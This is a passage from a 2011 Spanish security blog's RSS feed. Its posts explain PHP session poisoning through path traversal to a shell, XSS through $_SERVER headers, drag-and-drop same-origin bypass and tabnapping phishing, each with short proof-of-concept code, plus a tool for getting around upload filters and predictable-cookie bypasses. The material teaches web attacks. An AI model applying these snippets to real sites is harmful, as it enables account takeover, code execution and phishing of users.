/&gt;&lt;br /&gt;  Es lógico pensar que si a este array no se le asignase ningún valor enviado por el usuario no existe la posibilidad de que inyecten código malicioso. Pero no tiene porqué ser así }:D&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  Los archivos que almacenan las variables asignadas a cada sesión en los dominios compartidos a veces podemos encontrarlos en un mismo directorio para todos esos dominios. Es decir, que un mismo directorio podemos encontrarnos con las sesiones del Dominio A, Dominio B, y del Dominio C. Esto es un gran problema (para el cual existen contramedidas, pero que son bypasseables -dejo un link al final bastante interesante sobre el tema-) puesto que se puede cambiar de sesiones entre los dominios.&lt;br /&gt;&lt;br /&gt;  De esta forma si alguien consigue tener un usuario en ese servidor podría llegar a spoofear las variables asignadas en otro dominio, o incluir en ellas código malicioso. El caso más común es el de buscar qué dominios están asignados al mismo servidor que el atacante quiere comprometer, tratar de comprometer uno de esos dominios vecinos y desde ahí lanzar el ataque. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  Un pequeño PoC (sacado de haxxor security):&lt;br /&gt;(esta sería la aplicación a atacar en el dominio A)&lt;br /&gt;&lt;fieldset&gt;// Starting the session&lt;br /&gt;session_start();&lt;br /&gt; &lt;br /&gt;// ...&lt;br /&gt; &lt;br /&gt;if(isset($_SESSION['theme']){&lt;br /&gt; include('themes/'.$_SESSION['theme'].'.php');&lt;br /&gt;}else{&lt;br /&gt; include('themes/default.php');&lt;br /&gt;}&lt;/fieldset&gt;&lt;br /&gt;&lt;br /&gt;Y este sería el exploit ejecutado en el dominio B:&lt;br /&gt;&lt;br /&gt;&lt;fieldset&gt;&lt;br /&gt;// Inser your session id.&lt;br /&gt;session_id('16khau0g8c3mp3t3jbsedsc1mf0blvpu');&lt;br /&gt;// Start the session&lt;br /&gt;session_start();&lt;br /&gt;// Spoof a variable&lt;br /&gt;$_SESSION['theme'] = '../../../../mallroy/public_html/shell';&lt;br /&gt;// Close the session&lt;br /&gt;session_write_close();&lt;/fieldset&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Para más info: &lt;a href="http://ha.xxor.se/2011/09/local-session-poisoning-in-php-part-1.html"&gt;Local Session Poisoning in PHP &lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-890240023627185367?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/0v3rl04d1nTh3N3t?a=OHZA-0ab6mQ:-T2YPD8QQWQ:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/0v3rl04d1nTh3N3t?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/0v3rl04d1nTh3N3t/~4/OHZA-0ab6mQ" height="1" width="1"/&gt;</description><atom:updated xmlns:atom="http://www.w3.org/2005/Atom">2011-10-14T11:34:13.853+02:00</atom:updated><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">2</thr:total><feedburner:origLink>http://0verl0ad.blogspot.com/2011/10/variables-superglobales-que-deberias-de.html</feedburner:origLink></item><item><title>Variables Superglobales que deberías vigilar  (I)</title><link>http://feedproxy.google.com/~r/0v3rl04d1nTh3N3t/~3/Ko1LFl5evlc/variables-superglobales-que-deberias.html</link><author>lessiem@arnet.com.ar (Copyright: "Vengador de las Sombras")</author><pubDate>Sun, 09 Oct 2011 03:53:00 PDT</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-2806641995089653786.post-5832922786017544471</guid><description>&lt;style&gt;fieldset { background: black; color: lime; cursor: crosshair; border: 1px lime dotted;}&lt;/style&gt;&lt;br /&gt;Saludos,&lt;br /&gt;&lt;br /&gt;  Tengo el blog (y en general todo lo que es el internet) bastante abandonado por el tema de la universidad que me está absorbiendo demasiado. Aun así os pido disculpas y trataré de ir sacando algún que otro post rápido, como el de hoy.&lt;br /&gt;&lt;br /&gt;  Normalmente cuando un desarrollador crea una aplicación web en PHP, e intenta securizarla un poco, siempre aplica alguna clase de filtro a las variables que puedan ser manipuladas desde el lado del cliente. También los IDS hacen esto, analizando/filtrando aquellas variables que puedan ser manipuladas maliciosamente: $_GET, $_POST, $_COOKIE y $_REQUEST. Pero... ¿sólamente éstas son manipulables? La respuesta es NO. Existen otras variables que deberíamos de vigilar, como es el caso de $_SERVER y $_SESSION. Hoy veremos un poco de $_SERVER y el próximo día que pueda postear de $_SESSION.&lt;br /&gt;&lt;br /&gt;  &lt;br /&gt;   $_SERVER es un array que contiene la información procedente de las cabeceras, así como la ruta de archivos. Los dos ejemplos más clásicos son los XSS (y SQLi) aplicados a PHP_SELF y X-FORWARDED-FOR. La primera variable hace referencia al script que se está ejecutando en relación con el directorio raíz, siendo explotable de esta forma por ejemplo:&lt;br /&gt;&lt;fieldset&gt;www.ejemplo.com/&amp;lt;script&gt;alert(/0verl0ad/)&amp;lt;/script&gt;&lt;/fieldset&gt;&lt;br /&gt;&lt;br /&gt;   Por otro lado X-FORWARDED-FOR es utilizado por los proxys para indicar la IP de origen, por lo que suele tener interés para hacer spoofing, aunque últimamente con los sitios de estadísticas y de los que muestran tu propia IP y la geolocalizan, etc. suele emplearse más para inyectar código malicioso (JavaScript o inyecciones de otro tipo).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;   Al igual que con estas dos variables, existen otras tantas dentro del array de $_SERVER que pueden ser explotadas si son empleadas en el script sin sanitizarlas previamente:&lt;br /&gt;&lt;br /&gt;&lt;fieldset&gt;&lt;br /&gt;&amp;lt;?php&lt;br /&gt;echo $_SERVER['SERVER_PROTOCOL'];&lt;br /&gt;?&gt;&lt;br /&gt;&lt;/fieldset&gt;&lt;br /&gt;Si lanzamos una petición corrompida:&lt;br /&gt;&lt;br /&gt;&lt;fieldset&gt;&lt;br /&gt;GET /p.php &amp;lt;script&gt;alert(8)&amp;lt;/script&gt;&lt;br /&gt;Host: ------&lt;br /&gt;&lt;br /&gt;HTTP/1.1 200 OK&lt;br /&gt;Date: Sun, 09 Oct 2011 10:59:52 GMT&lt;br /&gt;Server: Apache/2.2.17 (Win32) PHP/5.3.6&lt;br /&gt;X-Powered-By: PHP/5.3.6&lt;br /&gt;Content-Length: 25&lt;br /&gt;Connection: close&lt;br /&gt;Content-Type: text/html&lt;br /&gt;&lt;br /&gt;&amp;lt;script&gt;alert(8)&amp;lt;/script&gt;&lt;/fieldset&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Ya sé que tiene poca chicha esta entrada, espero que la de $_SESSIONS sea más relevante.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-5832922786017544471?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/0v3rl04d1nTh3N3t?a=Ko1LFl5evlc:rYwyOk4uz-0:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/0v3rl04d1nTh3N3t?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/0v3rl04d1nTh3N3t/~4/Ko1LFl5evlc" height="1" width="1"/&gt;</description><atom:updated xmlns:atom="http://www.w3.org/2005/Atom">2011-10-09T13:23:57.315+02:00</atom:updated><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://0verl0ad.blogspot.com/2011/10/variables-superglobales-que-deberias.html</feedburner:origLink></item><item><title>Parches para SMF</title><link>http://feedproxy.google.com/~r/0v3rl04d1nTh3N3t/~3/-BXE4ahBfiw/parches-para-smf.html</link><category>SMF</category><author>lessiem@arnet.com.ar (Copyright: "Vengador de las Sombras")</author><pubDate>Tue, 20 Sep 2011 16:38:00 PDT</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-2806641995089653786.post-8486439043848231633</guid><description>¡Saludos!&lt;br /&gt;&lt;br /&gt;   Esta noche al conectarme a twitter me he encontrado con un enlace a una publicación de &lt;a href="http://www.daboweb.com/2011/09/21/disponibles-foros-smf-2-0-1-y-1-1-15-solventan-vulnerabilidades-criticas/?utm_source=twitterfeed&amp;utm_medium=twitter"&gt;DaboWeb&lt;/a&gt; anunciando parches de seguridad para SMF. Echando un ojo al &lt;a href="http://download.simplemachines.org/index.php?thanks;filename=smf_2-0-1_changelog.txt"&gt;changelog&lt;/a&gt; aparece la vulnerabilidad que habíamos reportado por Julio, y que tras ninguna respuesta liberemos en el blog &lt;a href="http://0verl0ad.blogspot.com/2011/08/smf-20-token-hijacking.html"&gt; SMF 2.0 Hijacking&lt;/a&gt;. Ahora, casi 3 meses después, lo han reparado, por lo que ya no lo consideraemos como un 0-day. &lt;br /&gt;&lt;br /&gt;  Gracias a los desarrolladores de SMF que se han entretenido en subsanar esta vulnerabilidad, puesto que no ha sido la primera vez que (por lo menos por mi parte) hemos reportado algun fallo de seguridad y nos han ignorado totalmente.&lt;br /&gt;&lt;br /&gt;Y por supuesto gracias a Seth, que descubrió otro vector para explotar la vulnerabilidad (y codeó el exploit).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-8486439043848231633?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/0v3rl04d1nTh3N3t?a=-BXE4ahBfiw:I4DtVHb1Tpg:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/0v3rl04d1nTh3N3t?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/0v3rl04d1nTh3N3t/~4/-BXE4ahBfiw" height="1" width="1"/&gt;</description><atom:updated xmlns:atom="http://www.w3.org/2005/Atom">2011-09-21T01:50:28.556+02:00</atom:updated><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://0verl0ad.blogspot.com/2011/09/parches-para-smf.html</feedburner:origLink></item><item><title>HTML5 [VI]: Drag'n'Drop attacks</title><link>http://feedproxy.google.com/~r/0v3rl04d1nTh3N3t/~3/ZM_aF35cRqo/html5-vi-dragndrop-attacks.html</link><category>Clickjacking</category><category>HTML5</category><author>lessiem@arnet.com.ar (Copyright: "Vengador de las Sombras")</author><pubDate>Tue, 20 Sep 2011 03:38:00 PDT</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-2806641995089653786.post-5293250222639356458</guid><description>&lt;style&gt;fieldset { background: black; color: lime; cursor: crosshair; border: 1px lime dotted;}&lt;/style&gt;&lt;br /&gt;&lt;br /&gt;¡Saludos!&lt;br /&gt;&lt;br /&gt;  El otro día publiqué &lt;a href="http://0verl0ad.blogspot.com/2011/09/cookiejacking-0-day-de-ie-y-rosario.html"&gt;las slides de Rosario Valotta&lt;/a&gt; sobre el "CookieJacking". En la presentación utilizaba la técnica de Drag'n'Drop para que la víctima enviase la cookie al atacante, asi que hoy voy a hacer un post explicando cómo funciona este vector.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;   ¿Qué es Drag'n'Drop? Cuando nos referimos a este vocablo hacemos referencia a aquellos mecanismos de arrastrar un objeto y dejarlo en otro punto (p.e. cuando arrastramos un icono del escritorio y lo colocamos en otro punto). Actualmente con HTML5 se ha incluido esta función, siendo fácil su implementación:&lt;br /&gt;&lt;br /&gt;&lt;fieldset&gt;&lt;br /&gt;&amp;lt;div draggable="true" ondragstart="event.dataTransfer.setData('text/plain','Test Drag and Drop');"&gt;&lt;br /&gt;&amp;lt;h1&gt;Test Drag and Drop&amp;lt;/h1&gt;&lt;br /&gt;&amp;lt;/div&gt;&lt;br /&gt;&amp;lt;br&gt;&amp;lt;input type="text" /&gt;&lt;br /&gt;&lt;/fieldset&gt;&lt;br /&gt;&lt;br /&gt;  Si lo testeais, podreis comprobar que el texto "Test Drag and Drop" se puede coger con el ratón y ser arrastrado hasta el input, que al ser soltado el ratón, quedará rellenado con ese texto. Pero no siempre lo que creemos arrastrar es lo que realmente arrastramos };D&lt;br /&gt;&lt;br /&gt;&lt;fieldset&gt;&lt;br /&gt;&amp;lt;div draggable="true" ondragstart="event.dataTransfer.setData('text/plain','¡Odio Twitter');"&gt;&lt;br /&gt;&amp;lt;h1&gt;¡Me gusta Twitter!&amp;lt;/h1&gt;&lt;br /&gt;&amp;lt;/div&gt;&lt;br /&gt;&amp;lt;br&gt;&amp;lt;input type="text" /&gt;&lt;br /&gt;&lt;/fieldset&gt;&lt;br /&gt;&lt;br /&gt;  Como podeis ver pese a que creemos que estamos arrastrando el texto "¡Me gusta Twitter!", en realidad lo que arrastramos es "¡Odio Twitter!". De esta forma un usuario común pasaría por alto el engaño, sin percatarse de lo que ocurre. Esto es útil en el momento de ocultar el ataque, puesto que puede usarse otros pretextos más atractivos (como juegos atractivos, o puzzles con ¡TETAS!, nunca fallan) para que el usuario haga Drag'n'Drop (no debemos perder de vista de que es necesaria la interacción directa por parte del usuario).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  Pero lo interesante de este vector no es esto, lo interesante es la posibilidad de bypassear SOP (Same Policy Origin). En síntesis SOP implica que los scripts ejecutados desde el lado del navegador (como JavaScript, por ejemplo) se apliquen únicamente al dominio de origen y no a otros, por lo que es bastante importante desde el punto de vista de la seguridad. La solución para evitar las restricciones SOP es utilizar un iframe, y hacer que el usuario haga "drop" sobre éste:&lt;br /&gt;&lt;br /&gt;&lt;fieldset&gt;&lt;br /&gt;&amp;lt;div draggable="true" ondragstart="event.dataTransfer.setData('text/plain','0verl0ad.blogspot.com');"&gt;&lt;br /&gt;&amp;lt;h1&gt;Proof of Concept&amp;lt;/h1&gt;&lt;br /&gt;&amp;lt;/div&gt;&lt;br /&gt;&amp;lt;iframe src="http://google.com"&gt;&lt;br /&gt;&amp;lt;/iframe&gt;&lt;br /&gt;&lt;/fieldset&gt; &lt;br /&gt;&lt;br /&gt;   El texto "0verl0ad.blogspot.com" es mandado al iframe que apunta a Google, y se ejecuta la búsqueda.&lt;br /&gt;&lt;br /&gt;   En definitiva este puede ser un vector interesante para explotar determinadas vulnerabilidades, como ya lo demostró Rosario Valotta y 0-day de IE. El problema que tiene esta técnica es la necesidad de interacción por parte del usuario (como cualquier otro ataque de clickjacking) y ello conlleva a tratar de camuflar los exploits en forma de aplicaciones atractivas, como juegos o puzzles, para que el usuario haga Drag'n'Drop&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-5293250222639356458?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/0v3rl04d1nTh3N3t?a=ZM_aF35cRqo:FtNWFXUQxoY:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/0v3rl04d1nTh3N3t?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/0v3rl04d1nTh3N3t/~4/ZM_aF35cRqo" height="1" width="1"/&gt;</description><atom:updated xmlns:atom="http://www.w3.org/2005/Atom">2011-09-20T13:40:45.075+02:00</atom:updated><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://0verl0ad.blogspot.com/2011/09/html5-vi-dragndrop-attacks.html</feedburner:origLink></item><item><title>Retos SQLi</title><link>http://feedproxy.google.com/~r/0v3rl04d1nTh3N3t/~3/T-wcLYWMDb0/retos-sqli.html</link><category>SQLi</category><category>Retos</category><author>lessiem@arnet.com.ar (Copyright: "Vengador de las Sombras")</author><pubDate>Sat, 17 Sep 2011 03:20:00 PDT</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-2806641995089653786.post-5017254523683978520</guid><description>Saludos,&lt;br /&gt;&lt;br /&gt;  Nuestro compañero Seth ha habilitado una web de prácticas vulnerable a SQLi. Existen diferentes niveles de dificultad, por lo que casi todo el mundo podría resolver al menos uno de ellos.&lt;br /&gt;&lt;br /&gt;Si quereis intentarlo aquí os dejo la web =&gt; &lt;a href="http://vepeese.xdblog.com.ar/"&gt;¡¡Practica inyecciones SQL!!&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-5017254523683978520?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/0v3rl04d1nTh3N3t?a=T-wcLYWMDb0:0VjPoh08iqQ:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/0v3rl04d1nTh3N3t?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/0v3rl04d1nTh3N3t/~4/T-wcLYWMDb0" height="1" width="1"/&gt;</description><atom:updated xmlns:atom="http://www.w3.org/2005/Atom">2011-09-17T12:22:51.924+02:00</atom:updated><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">1</thr:total><feedburner:origLink>http://0verl0ad.blogspot.com/2011/09/retos-sqli.html</feedburner:origLink></item><item><title>Cookiejacking, 0-day de IE y Rosario Valotta</title><link>http://feedproxy.google.com/~r/0v3rl04d1nTh3N3t/~3/Is4o9jzSdrk/cookiejacking-0-day-de-ie-y-rosario.html</link><category>Clickjacking</category><category>0-day</category><author>lessiem@arnet.com.ar (Copyright: "Vengador de las Sombras")</author><pubDate>Wed, 14 Sep 2011 15:51:00 PDT</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-2806641995089653786.post-8852426832692959177</guid><description>Saludos,&lt;br /&gt;&lt;br /&gt;  Hacía ya tiempo le estaba siguiendo el rastro a este tema, el del cookiejacking (robo , o "apropiación" como diría Grey, de cookies de sesión a través de UI Redressing), a partir de un enlace de Rosario Valotta que me mandó Seth en Mayo o Junio, no recuerdo bien, donde hablaba del 0-day de IE y su explotación mediante Drag-and-drop. El caso es que me he encontrado con la presentación que hizo  en la Swiss Cyber Storm de este año y me ha encantando por varios motivos, entre el que destaco la imaginación e ingenio que aplica para ir sorteando cada obstáculo con el que se encuentra.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Presentación PDF =&gt; https://www.hacking-lab.com/nina/?wicket:interface=:1:articleContainer:downloadContainer:filelink::ILinkListener::&lt;br /&gt;&lt;br /&gt;Video de la presentación =&gt; http://www.youtube.com/watch?v=VsSkcnIFCxM&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-8852426832692959177?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/0v3rl04d1nTh3N3t?a=Is4o9jzSdrk:T1cWr_piFd0:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/0v3rl04d1nTh3N3t?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/0v3rl04d1nTh3N3t/~4/Is4o9jzSdrk" height="1" width="1"/&gt;</description><atom:updated xmlns:atom="http://www.w3.org/2005/Atom">2011-09-15T00:52:08.726+02:00</atom:updated><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://0verl0ad.blogspot.com/2011/09/cookiejacking-0-day-de-ie-y-rosario.html</feedburner:origLink></item><item><title>HTML5 [V]: Autofocus + onblur = Phising (Tabnapping)</title><link>http://feedproxy.google.com/~r/0v3rl04d1nTh3N3t/~3/-61XGNSrmVM/html5-v-autofocus-onblur-phising.html</link><category>HTML5</category><category>Phising</category><category>Tabnapping</category><author>lessiem@arnet.com.ar (Copyright: "Vengador de las Sombras")</author><pubDate>Sun, 11 Sep 2011 08:46:00 PDT</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-2806641995089653786.post-7941119499787959663</guid><description>&lt;style&gt;fieldset { background: black; color: lime; cursor: crosshair; border: 1px lime dotted;}&lt;br /&gt;&lt;/style&gt;&lt;br /&gt;&lt;br /&gt;Saludos,&lt;br /&gt;&lt;br /&gt;   Estuve echando un ojo al episodio 8 de MundoHackerTV cuando me encontré con un PoC en el cual usaban para averiguar qué páginas habían sido visitados algo que ya comenté hace un par de años, &lt;a href="http://0verl0ad.blogspot.com/2009/02/css-attacks-i-css-history-hack.html"&gt;CSS History Hack&lt;/a&gt;. Este ataque los navegadores modernos ya lo bloquean, por lo que me da la sensación de que en esa demostración utilizaban algún navegador desactualizado. He intentado diferentes ideas para tratar de averiguar si un enlace había sido visitado, como la que menciono en el link que he dejado más arriba no pude hacerla funcionar intenté usar JavaScript para detectar un cambio de color en el link usando &lt;b style="color: lime;"&gt;getComputerStyle&lt;/b&gt; pero tampoco resultó: al sacar el RGB de todos los links siempre tenía el mismo color, fuese o no visitado (aunque al visualizarlo en el navegador tuvieran diferentes colores), por lo que deduzco que discriminar entre visitado/no visitado es imposible actualmente &lt;b style="color: lime;"&gt;Si alguien tiene info actualizada que deje un comentario&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    Mencioné al principio la demostración de MundoHackerTV, pero no he explicado en qué consistía. La idea era entrar a una web, y al cambiar de pestaña en el navegador, esta web hiciera una redirección hacia un scamer de alguna web en que el usuario suela visitar (de ahí lo del CSS Hack History). La idea es que ciertas webs se suelen mantener abiertas, como las redes sociales, mientras que estamos navegando por otras pestañas. Al haber varias pestañas, existe la posibilidad de que el usuario se confunda y crea que el scam es la web original y deja allí sus datos. Para entenderlo mejor echad un vistazo &lt;a href="http://www.globbtv.com/108/programas/1430/mundo-hacker-tv-ep8---seguridad-y-hacking-web"&gt;al capitulo&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;  El PoC más simple que se me ha ocurrido (omitiendo la parte en que detecta si ha visitado facebook, que ya he explicado porqué no la he incluido) es el siguiente:&lt;br /&gt;&lt;br /&gt;&lt;fieldset&gt;&lt;br /&gt;&amp;lt;script&gt;&lt;br /&gt; var pag ="http://www.google.com"; &lt;br /&gt;function redireccionar(){ &lt;br /&gt;&lt;br /&gt;  location.href=pag;&lt;br /&gt;}  &lt;br /&gt;&lt;br /&gt;&amp;lt;/script&gt;&lt;br /&gt;&amp;lt;input type="text" onblur="redireccionar();" autofocus&gt;&lt;br /&gt;&lt;/fieldset&gt;&lt;br /&gt;&lt;br /&gt;   Para detectar si el usuario ha cambiado de pestaña usamos el evento onblur, que se disparará cuando se piera el foco en el elemento input. Al cambiar de pestaña, se pierde el foco y se disparará la redirección (en este caso google.com). Además, para que todo funcione, utilizo autofocus en el input, ya que de esta forma el foco se colocará directamente en el input y no hará falta de que el usuario haga click en él.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b style="color: lime;"&gt; Me han informado via twitter de que esta técnica de phising se la denomina "tabnapping", asi que edito el título del post.&lt;/b&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-7941119499787959663?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/0v3rl04d1nTh3N3t?a=-61XGNSrmVM:mdChjErPTGI:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/0v3rl04d1nTh3N3t?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/0v3rl04d1nTh3N3t/~4/-61XGNSrmVM" height="1" width="1"/&gt;</description><atom:updated xmlns:atom="http://www.w3.org/2005/Atom">2011-09-14T10:35:39.666+02:00</atom:updated><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">1</thr:total><feedburner:origLink>http://0verl0ad.blogspot.com/2011/09/html5-v-autofocus-onblur-phising.html</feedburner:origLink></item><item><title>0verBypass.pl : herramienta para auditar uploaders</title><link>http://feedproxy.google.com/~r/0v3rl04d1nTh3N3t/~3/By_Fh-FymV0/0verbypasspl-herramienta-para-auditar.html</link><category>Herramientas</category><author>lessiem@arnet.com.ar (Copyright: "Vengador de las Sombras")</author><pubDate>Sun, 28 Aug 2011 18:23:00 PDT</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-2806641995089653786.post-2582405343679906640</guid><description>Saludos!
&lt;br /&gt;
&lt;br /&gt;  Hace un par de días escribí &lt;a href="http://0verl0ad.blogspot.com/2011/08/cheatsheet-to-bypass-uploaders.html"&gt;un post, a modo de chuleta&lt;/a&gt;, para tener reunidas las técnicas más comunes para poder saltarse las restricciones de los uploaders, y de esta forma poder subir archivos con extensiones no permitidas (como PHP por ejemplo). En ese mismo post Seth me comentó que hiciera alguna herramienta que automatizara un poco esto, asi que me puse a codear algo para auditar. La herramienta está todavía pendiente de perfeccionarse, ya que tengo pensado añadir más opciones (por ahora sólo puede testear de 5 formas diferentes, que son suficientes pero cuantas más añada mejor), y además quiero permitir la subida de una shell desde un archivo.
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;   El código se puede depurar bastante, aunque usando subrutinas he conseguido simplificar bastante el primer esbozo que había hecho, asi que admito sugerencias para simplificarlo aun más.
&lt;br /&gt;
&lt;br /&gt;&lt;a href="http://pastebin.com/gjxjEe63"&gt;Source de la herramienta [Click Aquí]&lt;/a&gt;
&lt;br /&gt;
&lt;br /&gt;Quiero aclarar que, además de las 5 técnicas para realizar el bypass que puedes seleccionar, subo los archivos con las extensiones alternando en mayúsculas/minúsculas (para saltar filtros case sensitive con listas negras de palabras) y intento camuflar la shell como una imagen .gif añadiendo al inicio el header GIF89a y poniendo como Content-Type image/gif.
&lt;br /&gt;
&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-2582405343679906640?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/0v3rl04d1nTh3N3t?a=By_Fh-FymV0:4yYzDvOe_7M:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/0v3rl04d1nTh3N3t?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/0v3rl04d1nTh3N3t/~4/By_Fh-FymV0" height="1" width="1"/&gt;</description><atom:updated xmlns:atom="http://www.w3.org/2005/Atom">2011-08-29T05:27:49.557+02:00</atom:updated><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">4</thr:total><feedburner:origLink>http://0verl0ad.blogspot.com/2011/08/0verbypasspl-herramienta-para-auditar.html</feedburner:origLink></item><item><title>Insecure Cookie Handling</title><link>http://feedproxy.google.com/~r/0v3rl04d1nTh3N3t/~3/3CnhTWNpLqs/insecure-cookie-handling.html</link><category>Herramientas</category><category>Cookies</category><author>lessiem@arnet.com.ar (Copyright: "Vengador de las Sombras")</author><pubDate>Thu, 25 Aug 2011 20:58:00 PDT</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-2806641995089653786.post-2195405047417320237</guid><description>&lt;style&gt;fieldset { background: black; color: lime; cursor: crosshair; border: 1px lime dotted;}&lt;/style&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;Saludos!
&lt;br /&gt;
&lt;br /&gt;  El manejo de las cookies de forma insegura es algo muchisimo más común de lo que se piensa. Cuando hablo de "manejo inseguro" me refiero tanto a que las cookies pueden contener una información sensible en sí misma, o que las aplicaciones web utilizan las cookies sin tomar en cuenta aspectos básicos de seguridad.
&lt;br /&gt;
&lt;br /&gt;  El caso más conocido por todos es el de las cookies predecibles, como lo son Admin=1, usr=admin, User=1, etc. Normalmente las aplicaciones vulnerables suelen contar con un checkeo de la cookie bastante rudimentario basado en una simple comparación tipo:
&lt;br /&gt; &lt;fieldset&gt;&lt;code&gt;if ( isset($_COOKIE['id']) &amp;&amp; $_COOKIE['id'] == 1 )&lt;/code&gt;&lt;/fieldset&gt;
&lt;br /&gt;
&lt;br /&gt;  Suponiendo que ese código fuese la comprobación de seguridad para acceder al panel de administración, podemos ver que podría bypassearse creando una cookie llamada id y de valor 1. En otros casos no es tan fácil de darse cuenta de que es un manejo inseguro porque el valor de la cookie está "camuflado"
&lt;br /&gt;
&lt;br /&gt;  En estos casos lo que requiere la explotación es tener imaginación y hacer pruebas hasta encontrar un patrón:
&lt;br /&gt;
&lt;br /&gt;&lt;fieldset&gt;&lt;code&gt;
&lt;br /&gt;...
&lt;br /&gt;$cookie = $usuario . rand(0,10);
&lt;br /&gt;$cookie = base64_encode($cookie);
&lt;br /&gt;...
&lt;br /&gt;&lt;/code&gt;&lt;/fieldset&gt;
&lt;br /&gt;
&lt;br /&gt;  En este caso la cookie aparecería en base64 y además variaría por los números random generados, pero como podemos darnos cuenta hay muy poca entropía, por lo que sería fácil dar con una cookie existente y usurpar a un usuario.
&lt;br /&gt;
&lt;br /&gt;
